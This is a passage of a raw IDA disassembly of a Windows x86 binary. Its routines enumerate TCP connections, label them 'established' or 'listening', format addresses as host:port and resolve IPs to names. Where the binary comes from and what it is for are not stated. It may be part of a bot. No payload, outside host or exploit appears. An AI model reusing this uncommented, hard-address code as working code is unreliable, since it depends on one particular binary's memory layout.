byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D84 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D80 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D74 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D74 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D70 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h call near ptr 77C2C407h nop add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp call near ptr 77C3FA76h nop mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj call near ptr 2960743h nop push eax call near ptr 77C371BCh nop pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60A5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E5C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE5C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; 